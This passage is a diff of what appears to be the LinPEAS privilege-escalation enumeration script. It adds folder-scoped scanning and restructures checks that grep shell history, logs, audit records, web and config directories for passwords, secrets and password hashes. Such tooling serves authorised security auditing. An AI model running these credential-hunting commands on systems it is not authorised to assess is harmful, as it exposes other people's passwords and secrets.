-Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) if [ "$iwfbg" ] || [ "$DEBUG" ]; then printf " Group $GREEN$g:\n$NC"; printf "%s\n" "$iwfbg" | while read entry; do @@ -4039,6 +4831,13 @@ if ! [ "$IAMROOT" ]; then echo "" fi +##-- IF) Passwords in history cmd +if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then + print_2title "Searching passwords in history cmd" + history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "" +fi + ##-- IF) Passwords in history files if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then print_2title "Searching passwords in history files" @@ -4061,10 +4860,12 @@ if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then fi ##-- IF) TTY passwords -print_2title "Checking for TTY (sudo/su) passwords in audit logs" -aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" -find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Checking for TTY (sudo/su) passwords in audit logs" + aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" + find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" + echo "" +fi ##-- IF) IPs inside logs if [ "$DEBUG" ]; then @@ -4074,9 +4875,11 @@ if [ "$DEBUG" ]; then fi ##-- IF) Passwords inside logs -print_2title "Searching passwords inside logs (limit 70)" -(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching passwords inside logs (limit 70)" + (find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," + echo "" +fi if [ "$DEBUG" ]; then ##-- IF) Emails inside logs @@ -4091,7 +4894,11 @@ fi if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then ##-- IF) Find possible files with passwords print_2title "Searching passwords inside key folders (limit 70) - only PHP files" - intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null) + if ! [ "$SEARCH_IN_FOLDER" ]; then + intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null) + else + intpwdfiles=$(timeout 150 find $SEARCH_IN_FOLDER -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null) + fi printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g" echo "" @@ -4101,14 +4908,22 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then ##-- IF) Find possible files with passwords print_2title "Searching possible password variables inside key folders (limit 140)" - timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & - timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + if ! [ "$SEARCH_IN_FOLDER" ]; then + timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + else + timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + fi wait echo "" ##-- IF) Find possible conf files with passwords print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)" - ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + if ! [ "$SEARCH_IN_FOLDER" ]; then + ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + else + ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + fi printf "%s\n" "$ppicf" | while read f; do if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then echo "$ITALIC $f$NC" @@ -4116,550 +4931,725 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then fi done echo "" +fi - ##-- IF) Find possible regexes - print_2title "Searching Hashed Passwords" -print_3title "Searching Apr1 MD5 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q api_keys_regex; then +print_title "API Keys Regex" + +if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then + print_2title "Searching Hashed Passwords" +print_3title_no_nl "Searching Apr1 MD5 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Apache SHA (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & +print_3title_no_nl "Searching Apache SHA (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Blowfish (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & +print_3title_no_nl "Searching Blowfish (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep 